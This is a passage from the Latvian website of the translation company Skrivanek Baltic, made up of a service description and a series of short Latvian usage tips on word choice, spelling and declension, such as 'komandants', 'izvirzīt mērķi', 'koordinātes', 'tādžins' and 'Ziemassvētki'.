tulkošanas virzienu vai arī izmantojot lielo valodas modeļu sniegtās iespējas. Katram no tiem ir savas priekšrocības un trūkumi – sākot no izmaksām līdz nepieciešamībai pēc papildu ekspertu iesaistes, lai teksts galapatērētājiem būtu uztverams, lasāms un saprotams. Piemēram, tas, kas derēs tehnisku, paredzamu materiālu pārveidei vai lokalizācijai, var nebūt gana efektīvs mārketinga vai radoša satura izveidei. Ja jums jau ir izveidoti mārketinga materiāli ar LVM palīdzību, taču vēlaties tos pieslīpēt, lai tie labāk atbilstu uzņēmuma identitātei, tad piedāvājam mākslīgā intelekta (MI) ģenerēta mārketinga teksta pārbaudes un labošanas pakalpojumu. Tāpat palīdzam ar automatizētu mašīntulkošanas risinājumu uzņēmumiem, tulkošanas procesam pieslēdzot neironu tīklu apstrādi – gluži kā iepriekš pieminētajā LVM modelī. Šeit tulkotāji pieslēdzas pēcapstrādes procesā, lai uzlabotu materiālu. Savukārt, ja vēlaties cilvēka nedalītu uzmanību, tāpat piedāvājam tradicionālo lokalizāciju ar tulkošanas rīkiem (CAT), kur biežāk sastopamie termini un izteikumi jau tiek automātiski piedāvāti no saglabātās atmiņas, kurā ir iestrādāts tieši jūsu uzņēmuma stils. Sazinieties ar mums, un kopā atradīsim jūsu uzņēmumam labāko risinājumu! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Kā uzrunāt cilvēkus ar diviem vārdiem? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet, ieskaties un uzzini pareizo atbildi! - Published: 2024-05-09 - Modified: 2024-05-15 - URL: https://skrivanek.lv/ka-uzrunat-cilvekus-ar-diviem-vardiem/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KĀ UZRUNĀT CILVĒKUS AR DIVIEM VĀRDIEM 1 Cilvēku vārdi jeb personvārdi ir lietvārdi, un tie vienmēr ir rakstāmi ar galotni. Tā kā abiem personvārdiem ir galotne, attiecīgi abi ir jāloka atbilstoši deklinācijai, pie kuras tie pieder. Turklāt atceramies, ka oficiālajā uzrunā vienmēr lietojam abus vārdus, ja vien vārdu īpašnieks nav vēlējies citādi. Tātad arī divu vārdu īpašniekus uzrunāsim vokatīvā, bet divu vārdu īpašnieces nominatīvā: “Labdien, Jāni Paul! ” un “Labdien, Anna Dana! ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Sliežu ielas kopmītnēs, kā runā, varen kašķīgs komandants esot… Bet varbūt kašķīgs komendants? Ieskaties šeit, lai uzzinātu pareizo atbildi! - Published: 2024-04-23 - Modified: 2024-04-23 - URL: https://skrivanek.lv/komandants-vai-komendants/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOMANDANTS VAI KOMENDANTS 1 Sliežu ielas kopmītnēs, kā runā, varen kašķīgs komandants esot... Bet varbūt kašķīgs komendants? Vārdam ‘komandants’ (no franču valodas vārda ‘commandant’) vīriešu dzimtē ir četras nozīmes (saskaņā ar vārdnīcu šķirkļiem), trīs no tām ir saistītas ar militāro jomu, šis vārds ietilpst arī stabilā vārdu savienojumā ‘komandanta stunda’ (noteikts diennakts laiks (parasti karastāvoklī), kad civiliedzīvotāji drīkst uzturēties ielās tikai ar īpašu atļauju). Vārda ceturtā nozīme – pārvaldnieks celtnē, kas pieder mācību vai sabiedriskai iestādei. Lai vieglāk atcerētos, kā pareizi rakstīt un izrunāt šo vārdu, Skrivanek iesaka pantiņu: komandants komandē parādi kopmītnē. Tātad teiksim: Sliežu ielas kopmītnēs, kā runā, varen kašķīgs komandants esot... Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vecgada vakarā mēs uzstādāmvai izvirzām nākamajam gadam? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - Published: 2024-04-23 - Modified: 2025-03-12 - URL: https://skrivanek.lv/uzstadit-merki-vai-izvirzit-merki/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional UZSTĀDĪT MĒRĶI VAI IZVIRZĪT MĒRĶI 1 Vecgada vakarā mēs parasti domājam, kādus mērķus uzstādīsim nākamajam gadam. Vai tomēr izvirzīsim mērķus? Biežāk vārdu “uzstādīt” lietojam, lai runātu par kaut kā novietošanu, pārvietošanu vai nostiprināšanu paredzētajā atrašanās vietā; arī novietošanu noteiktā stāvoklī (kur, uz kā), piemēram, uzstādīt pieminekli. Uzstādīt var arī mākslas skolas nodarbībā priekšmetus, figūras gleznošanai, zīmēšanai, atveidošanai. Šajā gadījumā vārds ir ar nozīmi “izkārtot”. Piemēram, uzstādīt kluso dabu. Uzstādīt var arī ierīci, iekārtu, aparatūru u. tml. ar nozīmi nostiprināt, ieregulēt, sagatavojot darbībai. Bet nevar uzstādīt mērķi, nevar uzstādīt jautājumu un nevar uzstādīt diagnozi. Var izvirzīt mērķi, uzdot jautājumu un noteikt diagnozi. Šai kontekstā “uzstādīt” ir kalks no krievu valodas – ‘ставить цель’, ‘поставить вопрос’, ‘поставить диагноз’. Tātad teiksim: Klāt Vecgada vakars, jāsāk domāt, kādus mērķus izvirzīt nākamajam gadam. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Koordināta vai koordināte - kāda ir atsķirība? Ieskaties šeit un uzzini! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-04-23 - Modified: 2024-08-21 - URL: https://skrivanek.lv/koordinata-vai-koordinate/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOORDINĀTA VAI KOORDINĀTE 1 Bija tik brīnišķīgs absolventu salidojums! Vai atstāsi man savas koordinātes? – viens otram jautā Matemātikas un fizikas fakultātes absolventi. Vai pareizi tomēr būs teikt – koordinātas? Pirms neilga brīža viņi aizrautīgi diskutēja par punkta koordinātām? Vai – koordinātēm? Ja matemātiķi savā starpā salidojumā apspriež asis, funkcijas un punktus, tad pareizi viņi darīs, ja lietos vārdu ‘koordināta’ – kā terminu. Un, kad lūgs atstāt savu tālruņa numuru, adresi, lai varētu sazināties – pareizi būs ‘koordinātes’. Latviešu literārās valodas vārdnīca piedāvā abas formas – koordināta un koordināte. Šo vārdu pamatnozīme ir vienāda, un vārdnīca nenorāda, ka ‘koordināte’ būtu nevēlams variants, jo valodas praksē tiek lietotas abas vārda formas. Taču šis vārds sarunvalodā biežāk tiek lietots daudzskaitlī, un būtu jāatceras, ka vārda ‘koordināte’ daudzskaitļa formai ‘koordinātes’ sarunvalodā ir papildu nozīmes nianse, proti – dati, ziņas (adrese, tālruņa numurs, e-pasta adrese utt. ), pēc kurām var atrast kādu (personu, iestādi, vietu utt. ). Tādēļ, ja lietosim aplūkojamo vārdu daudzskaitlī, tad nebūs nepareizi, ja teiksim – koordinātes datu vai ziņu nozīmē. Tātad: Vai atstāsi man savas koordinātes? Bet – punkta koordinātas (ja runa ir par matemātiskajām kategorijām). Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai šī kosmētikas līdzekļa sastāvā ir gvajaka koka eļļa, gvajakas eļļa vai guajaka eļļa? Ieskaties šeit un uzzini pareizo atbildi! - Published: 2024-04-22 - Modified: 2024-04-22 - URL: https://skrivanek.lv/gvajakas-ella-vai-gvajaka-koka-ella-vai-guajaka-ella/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional GVAJAKAS EĻĻA VAI GVAJAKA KOKA EĻĻA VAI GUAJAKA EĻĻA 1 Vai šī kosmētikas līdzekļa sastāvā ir gvajaka koka eļļa, gvajakas eļļa vai guajaka eļļa? Gvajaks ir mūžzaļš Amerikas tropu koks un krūms ar cietu, blīvu koksni, kurā ir ēteriskas eļļas un daudz sveķu; tos izmanto mašīnbūvē un medicīnā, arī kosmētikā. Tas ir vīriešu dzimtes vārds. Tātad teiksim: Vai šī kosmētikas līdzekļa sastāvā ir gvajaka koka eļļa? Vai arī – gvajaka eļļa. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Valdība atrada visoptimālāko risinājumu ekonomiskajai krīzei. Vai arī optimālāko? Vai tikai optimālu? Ieskaties, lai uzzinātu atbildi! - Published: 2024-04-19 - Modified: 2024-08-29 - URL: https://skrivanek.lv/optimals-vai-optimalakais-vai-visoptimalakais/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional OPTIMĀLS VAI OPTIMĀLĀKAIS VAI VISOPTIMĀLĀKAIS 1 Valdība atrada visoptimālāko risinājumu ekonomiskajai krīzei. Vai arī optimālāko? Vai tikai optimālu? Svešvārds ‘optimāls’ latviski nozīmē visizdevīgākais, vislabākais, arī visatbilstošākais (no iespējamā kādā situācijā, kādos apstākļos). Svešvārdam ‘optimāls’ nav salīdzināmo pakāpju, jo tas tiek lietots tikai un vienīgi vispārākās pakāpes nozīmē. Tātad teiksim: Apsverot visus par un pret, ir atrasts optimāls risinājums. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Zaļā enerģija kļūst populāra visapkārt pasaulei. Vai arī – visā pasaulē? Ieskaties šeit un uzzini pareizo atbildi! - Published: 2024-04-19 - Modified: 2024-04-19 - URL: https://skrivanek.lv/visapkart-pasaulei-vai-visa-pasaule/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VISAPKĀRT PASAULEI VAI VISĀ PASAULĒ 1 Zaļā enerģija kļūst populāra visapkārt pasaulei. Vai arī – visā pasaulē? Vārdu savienojums “visapkārt pasaulei” ir tiešs pārcēlums no angļu valodas “all around the world”. Burtiski tas būtu pa zemeslodes perimetru. Mēs varam ceļot apkārt pasaulei, noslēdzot loku turpat, kur sākuši, taču, ja kaut kas notiek daudzās valstīs un kontinentos, dažādos garuma un platuma grādos, tad tas notiek visā pasaulē. Tātad teiksim: Zaļā enerģija kļūst populāra visā pasaulē. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Aizskartās vai aizskartais mantas īpašnieks - ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi latviešu valodas padomi. - Published: 2024-04-19 - Modified: 2024-04-19 - URL: https://skrivanek.lv/aizskartas-mantas-ipasnieks-vai-aizskartais-mantas-ipasnieks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AIZSKARTĀS MANTAS ĪPAŠNIEKS VAI AIZSKARTAIS MANTAS ĪPAŠNIEKS 1 Tiesas nolēmums pārsūdzēts daļā, kas skar tiesības rīkoties ar mantu kriminālprocesā aizskartajam mantas īpašniekam, kura mantai uzlikts arests. Vai – aizskartās mantas īpašniekam? Minētā jēdziena skaidrojums atrodams Kriminālprocesa likumā. Tiesības uz īpašumu kriminālprocesā var tikt aizskartas gan personai, kurai ir tiesības uz aizstāvību, gan citām personām, kam nav statusa kriminālprocesā. Neiedziļinoties šī jēdziena iekļaušanas peripetijās, vienkārši atcerēsimies, ka aizskārums attiecināms uz īpašnieku, nevis mantu. Tātad teiksim: tiesas nolēmums pārsūdzēts daļā, kas skar tiesības rīkoties ar mantu kriminālprocesā aizskartajam mantas īpašniekam, kura mantai uzlikts arests. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā tad ir pareizi – Riksdags vai Rigsdags? Ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi latviešu valodas padomi! - Published: 2024-04-19 - Modified: 2024-04-19 - URL: https://skrivanek.lv/rigsdags-vai-riksdags/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RIGSDAGS VAI RIKSDAGS 1 Dānijas Rigsdags šo likumu pieņēma 1951. gadā, bet līdzīgu likumu 1955. gadā skatīja arī Zviedrijas Riksdags. Kā tad būs – Riksdags vai Rigsdags? Izrādās, ka Dānijas parlamenta nosaukums līdz 1953. gadam bija Rigsdags (no dāņu val. ‘rigsdag’), šajā gadā tika pieņemta jauna konstitūcija un izveidots vienpalātas parlaments – folketings. Savukārt Riksdags (no zviedru val. ‘riksdag’) ir Zviedrijas parlaments, praksē var lietot abus variantus – gan Zviedrijas parlaments, gan Riksdags. Tātad, ja runa ir par Dānijas parlamentu līdz 1953. gada, tad lietosim vārdu Rigsdags (Dānijas parlaments), bet ja runa ir par notikumiem pēc 1953. gada, tad Dānijas parlaments jeb Folketings. Zviedrijas parlaments ir Riksdags. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai tradicionālo Magribas valstu ēdienu un māla trauku tā pagatavošanai sauksim - tādžins, tadžins vai tādžina, tadžina? Ieskaties šeit! - Published: 2024-04-19 - Modified: 2025-03-19 - URL: https://skrivanek.lv/tadzins-tadzins-vai-tadzina-tadzina/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TĀDŽINS, TADŽINS VAI TĀDŽINA, TADŽINA 1 Vai tradicionālo Magribas valstu ēdienu un māla trauku tā pagatavošanai sauksim tādžins vai tadžins? Varbūt tādžina vai tadžina? Šī vārda rakstība dažādās vārdnīcās tiek piedāvāta atšķirīgi, piemēram, www. tezaurs. lv atrodam, ka tas ir 4. deklinācijas sieviešu dzimtes lietvārds un ir rakstāms − tadžina). Tomēr Skrivanek iesaka lietot Latvijas Universitātes Āzijas studiju nodaļas vecākās arābistikas ekspertes un tulkotājas Ingrīdas Kleinhofas piedāvāto latviskojumu – tādžins. Šo māla trauku ar konisko vāku lieto Ziemeļāfrikas valstīs. Vārds tādžins visdrīzāk arābu valodā ir ienācis no berberu valodas un ar to pašu nozīmi tiek lietots arī angļu un franču valodā. Izrunā, uzsverot pirmo zilbi, tiek iegūts patskaņa pagarinājums. Vārds oriģinālvalodā tiek izrunāts bez galotnes, tādēļ latviešu valodā būtu lietojams vīriešu dzimtē – tādžins. Tātad: tradicionālo Magribas valstu ēdienu un trauku tā pagatavošanai sauksim par tādžinu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vislielāko prieku Ziemassvētki sagādā bērniem. Vai varbūt – Ziemsvētki? Ieskaties šeit, lai uzzinātu pareizo atbildi! - Published: 2024-04-19 - Modified: 2024-11-12 - URL: https://skrivanek.lv/ziemassvetki-vai-ziemsvetki/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ZIEMASSVĒTKI VAI ZIEMSVĒTKI 1 Vislielāko prieku Ziemassvētki sagādā bērniem. Vai varbūt – Ziemsvētki? Vai arī – ziemassvētki? Kā pareizi? Saliktenis Ziemassvētki tiek lietots visbiežāk, tomēr literārajām normām atbilstošs un pareizs būs arī saliktenis Ziemsvētki. Un abos gadījumos vienmēr šos svētkus rakstīsim ar lielo sākuma burtu. Nedaudz atcerēsimies skolas gados mācīto par to, kā darina salikteņus. Latviešu valodā tos 